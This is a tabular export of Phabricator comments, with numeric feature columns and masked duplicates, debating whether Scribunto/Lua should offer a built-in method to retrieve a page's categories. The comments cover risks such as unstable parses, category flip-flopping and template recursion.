I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links.",,,1694639124,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1.5,0.5,0.25,1.0,1.25,3.5,1.25,0.75,0.25,0.0,1.75,1.0,0.0,0.25,0.5,0.5,0.5,6.75,13.0,0.5,1.75,0.0,0.0,0.0,1.0,0.0,0.25,0.0,1.75,1.0,0.0,5.0,0.5,0.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,2.25,0.25,0.0,0.0,2.0,0.0,17.75,0.5,0.75,0.0,0.25,0.0,0.5,0.0,0.0,0.25,0.0,1.0,1.75,0.0,0.0,0.5,2.0,0.0,8.5,3.0,3.5,2.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.5,13.0,1.0,0.0,0.5,0.0,1.5,0.0,3.25,3.0,0.0,1.5,0.0,0.0,0.0,4.557250341997264,0.72609439124487,"QUOTE
QUOTE

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace in the parser code that receives the output of the module function, but a module can be used to generate only part of a category link, like CODE. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains CODE. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links."
2192739,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links.",,,1694639064,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1.5,0.5,0.25,1.0,1.25,3.5,1.25,0.75,0.25,0.0,1.5,1.0,0.0,0.25,0.5,0.5,0.5,6.75,12.5,0.5,1.75,0.0,0.0,0.0,1.0,0.25,0.25,0.0,1.75,1.0,0.0,4.75,0.5,0.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,2.0,0.25,0.0,0.0,1.75,0.0,17.5,0.5,0.75,0.0,0.25,0.0,0.5,0.0,0.0,0.25,0.0,1.0,1.75,0.0,0.0,0.5,1.75,0.0,7.75,2.75,3.5,2.0,2.75,11.25,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.5,12.5,0.75,0.0,0.5,0.0,1.5,0.0,3.0,3.0,0.0,1.5,0.0,0.0,0.0,4.556494269761975,0.7403394064061124,"QUOTE
QUOTE

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like CODE. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains CODE. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links."
2192737,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. That could be a bit obnoxious if a module that is widely used suddenly starts looking up categories when it doesn't need to, any templates or modules that depend on the module could stop generating category links even though they didn't do anything wrong with the category information.",,,1694638874,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1.5,0.5,0.25,1.0,1.25,3.75,1.25,0.75,0.25,0.25,1.5,1.25,0.0,0.25,0.5,0.5,0.25,6.25,11.75,0.5,1.5,0.0,0.0,0.0,0.75,0.25,0.0,0.0,2.25,0.5,0.0,5.0,0.25,1.0,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,2.0,0.25,0.0,0.0,2.0,0.0,15.5,0.75,0.5,0.0,0.25,0.0,0.5,0.0,0.0,0.25,0.0,1.25,1.75,0.0,0.0,0.5,2.0,0.0,7.5,3.0,3.25,2.5,2.75,10.75,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.75,11.75,0.75,0.0,0.5,0.0,1.75,0.0,2.75,3.5,0.0,1.25,0.0,0.0,0.0,4.488771929824561,0.7526315789473683,"QUOTE
QUOTE

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like CODE. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains CODE. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. That could be a bit obnoxious if a module that is widely used suddenly starts looking up categories when it doesn't need to, any templates or modules that depend on the module could stop generating category links even though they didn't do anything wrong with the category information."
2192694,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I kind of see the issue as well a little that Matmarex has put forth. It is the classical paradox of self reference. If the page populates Category:Foo when it is not in Category:Bar, and the page populates Category:Bar when it is in Category:Foo, then which category would be populated? It would require us to know the final execution state in order to further populate. Here is a solution: only fill getCategories() for the page all the way up to the point of execution.

But then for two pages, we have the problem of timing. The order in which categories are populated would then depend on when the page was parsed. I can see how it can lead to ""unstable parses"" regarding categories, but then we can also get that in the following scenario. Suppose we have the page ""Foo"" check to see if ""Foobar"" is in the page ""Bar"" and if so does nothing, and if not writes ""Foobar"". Now say ""Bar"" does the same for ""Foo"". Now the order of execution determines which page has ""Foobar"" and which one does not.

There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.",,,1694632731,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,0.5,0.25,0.0,1.75,0.75,3.0,2.0,0.0,0.0,1.5,1.75,0.0,0.5,0.25,0.25,1.5,0.25,7.75,10.5,0.75,0.75,0.0,0.25,0.0,0.25,0.0,0.25,0.25,1.5,1.25,0.0,5.5,2.25,1.75,1.0,0.0,0.0,0.0,0.75,1.75,0.0,0.0,0.75,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.25,1.0,1.0,0.5,0.25,0.0,0.25,0.25,1.0,0.0,1.0,1.25,0.0,0.25,0.5,0.0,0.5,7.0,4.0,8.5,2.75,1.75,10.5,0.0,0.0,0.0,0.0,6.0,0.0,1.25,0.0,3.25,10.5,2.75,0.25,4.0,0.0,3.25,0.0,2.5,1.5,0.25,0.75,0.25,0.0,0.0,3.8548121055651174,0.6568057946069995,"I kind of see the issue as well a little that Matmarex has put forth. It is the classical paradox of self reference. If the page populates Category:Foo when it is not in Category:Bar, and the page populates Category:Bar when it is in Category:Foo, then which category would be populated? It would require us to know the final execution state in order to further populate. Here is a solution: only fill getCategories() for the page all the way up to the point of execution.

But then for two pages, we have the problem of timing. The order in which categories are populated would then depend on when the page was parsed. I can see how it can lead to ""unstable parses"" regarding categories, but then we can also get that in the following scenario. Suppose we have the page ""Foo"" check to see if ""Foobar"" is in the page ""Bar"" and if so does nothing, and if not writes ""Foobar"". Now say ""Bar"" does the same for ""Foo"". Now the order of execution determines which page has ""Foobar"" and which one does not.

There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising."
2127877,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Although @Izno only mentions “cross-communication between templates”, I’m pretty sure he meant specifically templates transcluded on a page accessing output of templates transcluded at other parts of the same page – otherwise, it’s just a simple template transclusion, which was, is, and going to be, supported, of course. Templates transcluded on a page accessing output of templates transcluded at other parts of the same page is where issues come up: previews of parts of the page (e.g. sections or – in case of VisualEditor and other Parsoid-based things – individual templates) may be different from what a full-page parse produces, and parallel parsing of different parts of the page may cause race conditions.",,,1684739405,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,516,,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,4.0,12.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,4.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,18.5,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.5,2.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.5,12.0,1.5,0.0,0.0,0.0,1.5,0.0,2.0,2.0,0.0,1.5,0.0,0.0,0.0,4.516791044776119,0.7110403863037753,"AlthoughSCREEN_NAME only mentions “cross-communication between templates”, I’m pretty sure he meant specifically templates transcluded on a page accessing output of templates transcluded at other parts of the same page – otherwise, it’s just a simple template transclusion, which was, is, and going to be, supported, of course. Templates transcluded on a page accessing output of templates transcluded at other parts of the same page is where issues come up: previews of parts of the page (e.g. sections or – in case of VisualEditor and other Parsoid-based things – individual templates) may be different from what a full-page parse produces, and parallel parsing of different parts of the page may cause race conditions."
2127829,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Yes, I tested it. It works in editnotices; it did cause a template loop on the page itself yeah. But the main complaint from Izno seems to be about cross-template communication, not about accessing info about the current page; and this definitely works if the page given is not the current page.",,,1684731135,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,516,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,8.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,8.0,13.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.7049180327868853,"Yes, I tested it. It works in editnotices; it did cause a template loop on the page itself yeah. But the main complaint from Izno seems to be about cross-template communication, not about accessing info about the current page; and this definitely works if the page given is not the current page."
2127508,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Did you test these? Unless you have countermeasures (is it possible at all?), or unless `{{FULLPAGENAME}}` isn’t actually the title of the current page (which is the case e.g. in edit notices), both `frame:expandTemplate` and `{{:{{FULLPAGENAME}}}}` would definitely cause infinite template recursion, not only potentially cause unstable parses.",,,1684656255,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.186440677966102,0.7796610169491526,"Did you test these? Unless you have countermeasures (is it possible at all?), or unless CODE isn’t actually the title of the current page (which is the case e.g. in edit notices), both CODE and CODE would definitely cause infinite template recursion, not only potentially cause unstable parses."
2127446,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8865219, @Izno wrote:
> `getContent` does not expand templates. I'm pretty sure the PHP implementation of `getCategories`

`frame:expandTemplate` allows this though. In fact, just using e.g. `{{#invoke:string|find|{{:{{FULLPAGENAME}}}}|Category:X1}}`, you can check if the categories of the current (or any) page include X1 without even using Lua to get the page content. So this actually adds zero additional functionality (it just makes things faster, since transcluding the page is very slow to parse) and I don't think it actually needs any restrictions. The infinite loops mentioned should already be possible through this method.",,,1684626769,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,2.0,0.0,1.0,0.0,1.0,4.0,2.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,13.0,9.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,9.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,4.211111111111111,0.7555555555555555,"QUOTE
QUOTE

CODE allows this though. In fact, just using e.g. CODE, you can check if the categories of the current (or any) page include X1 without even using Lua to get the page content. So this actually adds zero additional functionality (it just makes things faster, since transcluding the page is very slow to parse) and I don't think it actually needs any restrictions. The infinite loops mentioned should already be possible through this method."
2126969,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"There are also opportunistic limk updates of the page is ""dynamic"", but yes it is limited.",,,1684558154,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9,"There are also opportunistic limk updates of the page is ""dynamic"", but yes it is limited."
2126968,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8865315, @matmarex wrote:
> Every time one of these pages are parsed, the state of its category will flip. This seems bad. As one side effect of this, I think everyone watching the pages will see a message about category changes on their watchlist. 

... which should motivate one of those users to fix up the ungodly mess! This should only happen when the parse is a result of an edit though, as LinksUpdate isn't run otherwise.",,,1684557228,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,2.0,0.0,17.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8780487804878048,0.8780487804878049,"QUOTE
QUOTE

... which should motivate one of those users to fix up the ungodly mess! This should only happen when the parse is a result of an edit though, as LinksUpdate isn't run otherwise."
2126860,Scribunto/Lua should have a built-in method for retrieving categories used on a page,You can definitely already do this - e.g. make the category used depend on the current time or something. It does seem like this might make the problem worse though.,,,1684526427,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.25,0.84375,You can definitely already do this - e.g. make the category used depend on the current time or something. It does seem like this might make the problem worse though.
2126742,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I see a slightly different problem – this feature may produce ""unstable"" parses. Consider the scenario:
* Page A has a template that adds category X if another page B has a category Y
* Page B has a template that adds category Y if page A does not have the category X
Every time one of these pages are parsed, the state of its category will flip. This seems bad. As one side effect of this, I think everyone watching the pages will see a message about category changes on their watchlist. There may be other bad side effects.

Even when it doesn't produce an infinite loop like this, you may end up with pages that may need to be parsed multiple times until they reach a stable state. This actually seems even worse. Imagine a vandalism that requires multiple pages to be purged in exactly correct order to be reverted.

I don't know if that's necessarily a deal breaker, but I know that I wouldn't want to be responsible for this :)",,,1684512883,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,515,,0.5,0.5,0.0,2.0,2.0,6.0,1.0,0.0,0.0,1.5,1.0,1.5,0.0,0.5,0.5,2.5,0.0,5.5,10.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.5,8.5,3.5,1.0,2.0,0.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,19.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,2.0,0.0,6.5,3.0,11.5,2.5,0.5,11.5,0.0,0.5,0.0,0.0,8.0,0.0,1.0,0.0,5.0,10.0,3.0,0.0,1.0,0.0,5.0,0.0,2.5,4.5,0.0,0.5,0.5,0.0,0.0,3.8636363636363633,0.6666666666666666,"I see a slightly different problem – this feature may produce ""unstable"" parses. Consider the scenario:
* Page A has a template that adds category X if another page B has a category Y
* Page B has a template that adds category Y if page A does not have the category X
Every time one of these pages are parsed, the state of its category will flip. This seems bad. As one side effect of this, I think everyone watching the pages will see a message about category changes on their watchlist. There may be other bad side effects.

Even when it doesn't produce an infinite loop like this, you may end up with pages that may need to be parsed multiple times until they reach a stable state. This actually seems even worse. Imagine a vandalism that requires multiple pages to be purged in exactly correct order to be reverted.

I don't know if that's necessarily a deal breaker, but I know that I wouldn't want to be responsible for this :)"
2126740,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I dont think it falls afoul of that as long as it is reflecting DB state (current contents of categorylinks) and not currently parsed page.

Although maybe shouldnt work for current page as that would be confusing",,,1684512620,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,14.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.1395348837209305,0.813953488372093,"I dont think it falls afoul of that as long as it is reflecting DB state (current contents of categorylinks) and not currently parsed page.

Although maybe shouldnt work for current page as that would be confusing"
2126718,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8858120, @SD0001 wrote:
> It doesn't enable communication between templates any more than getContent() already allows.

`getContent` does not expand templates. I'm pretty sure the PHP implementation of `getCategories`

```lang=php
$page = MediaWikiServices::getInstance()->getWikiPageFactory()->newFromTitle( $title );
...
$categoryTitles = $page->getCategories();
```

gets all categories, which may be in templates. So I am pretty sure your statement is not a true statement.

>  Besides, it's often useful - such as for citation modules to decide if dates should be formatted as dmy or mdy. 
I am not concerned about its utility though -- I think the utility is pretty clear, enabling one path of cross-communication between templates, exactly as you say. I am instead raising a point that previous maintainers of Scribunto have drawn a line in the sand about, and which may have particular implications regarding this extension's support of Parsoid. The maintainers (whoever that may be since Anomie stopped participating in MediaWiki development) should decide whether it's a legitimate objection or not and whether I've identified the issue correctly or not, though if you don't think that's what those two lines are doing, I'm happy to be informed otherwise.",,,1684509817,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.5,0.0,0.0,0.5,3.0,5.0,3.0,0.0,1.0,0.5,4.0,2.0,0.0,0.0,0.0,3.5,0.5,8.0,10.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,9.0,1.5,1.0,0.5,1.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,5.5,0.0,0.0,0.5,0.0,0.0,9.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,5.0,4.5,10.5,3.5,2.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.5,10.0,4.5,0.0,0.0,0.0,6.5,0.0,2.0,2.0,0.0,2.5,0.0,0.0,0.0,4.245211950970377,0.6897344228804902,"QUOTE
QUOTE

CODE does not expand templates. I'm pretty sure the PHP implementation of CODE

``CODE``

gets all categories, which may be in templates. So I am pretty sure your statement is not a true statement.

QUOTE
I am not concerned about its utility though -- I think the utility is pretty clear, enabling one path of cross-communication between templates, exactly as you say. I am instead raising a point that previous maintainers of Scribunto have drawn a line in the sand about, and which may have particular implications regarding this extension's support of Parsoid. The maintainers (whoever that may be since Anomie stopped participating in MediaWiki development) should decide whether it's a legitimate objection or not and whether I've identified the issue correctly or not, though if you don't think that's what those two lines are doing, I'm happy to be informed otherwise."
2124824,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"It doesn't enable communication between templates any more than getContent() already allows. Besides, it's often useful - such as for citation modules to decide if dates should be formatted as dmy or mdy. ",,,1684311499,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,2.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.3,0.95,"It doesn't enable communication between templates any more than getContent() already allows. Besides, it's often useful - such as for citation modules to decide if dates should be formatted as dmy or mdy. "
